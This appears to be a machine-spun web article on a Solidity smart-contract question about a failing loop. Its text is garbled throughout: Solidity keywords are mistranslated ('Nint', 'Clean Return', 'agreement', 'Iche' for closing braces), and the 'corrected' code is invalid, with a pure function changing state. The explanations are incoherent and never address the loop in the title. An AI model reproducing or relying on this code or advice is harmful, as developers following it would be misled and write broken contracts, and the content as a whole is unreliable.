Ethereum: why is my loop not working in below solidity code

I see that you use firmness, for the programming languages ​​used for intelligent contracts. Here is an article that explains that your code happens and why it may not work as expected.

Ethereum Loop Edition: Why don’t you work?

In your supercode code, you have a loop condition sub (nint n, nint a) external pure refund (...). However, there are several problems with this function:

  • Scene Function : Function Sub is not defined in the code clip. In the strength of Ethereum, the seizure function can be replaced by a function of a “sub” if it is a simple output surgery.

  • Pure function : The keyword clean 'is wrong. In strength, "purity means that the function does not change any space and that its markings do not affect the status of the contract.

Corrected code

Here is an example of how you can fix these problems:

Strength

Pragman solidity ^0.8.0;

MyContkrt agreement

Nint256 Private number = 0;

Function Sub (Nint n, Nint a) Clean Return (Nint) {

// corrected code

Return A to n;

Iche

Function MyFunction () Public Pure Credit (Nint) {

Count ++;

Return number;

Iche

Iche

`

Why warnings?

Before arranging the contract, you need to remove warnings about translators. Here are some reasons why:

  • Handling : The translator warns of errors if we want to handle the errors correctly.

  • Missing Functions : If the function is missing, it may cause errors in the assembly.

Warning Removal

To delete these warnings and make sure your code is successfully assembled, you will be:

  • Use the correct syntax of functions (eg "sub" instead of Sub (Nint n, Nint a))

  • Set up the error processing mechanisms

  • Specify the missing functions or variables correctly

Here is an example of all warnings removed:

`Strength

Pragman solidity ^0.8.0;

MyContkrt agreement

Nint256 Private number = 0;

Function Sub (Nint n, Nint a) Clean Return (Nint) {

Return A to n;

Iche

Function MyFunction () Public Pure Credit (Nint) {

Count ++;

Return number;

Iche

Iche

Best Practices

Ethereum: why is my loop not working in below solidity code

Follow these issues in the future for best practices such as:

  • Use strength 0.8.0 or later

  • Define functions with clear names and comments to explain their purpose

  • Handle errors correctly “required” using

  • Specify the missing functions or variables correctly

In accordance with these instructions, you can make sure that the intelligent contract is well structured, effective and safe.

Additional instructions

Before distributing an agreement on the Ethereum network, consider the following:

  • Read the ERC-20 Standard: ERC-20 Standard provides information on contract functions, including its requests.

2

  • Test in different networks : Test the contract with several Ethereum test networks (eg RoPsten, Rinkeby and hard) to make sure it is expected.

After these tips and best practices, you can create a safe and efficient intelligent contract that meets the requirements of the Ethereum network.
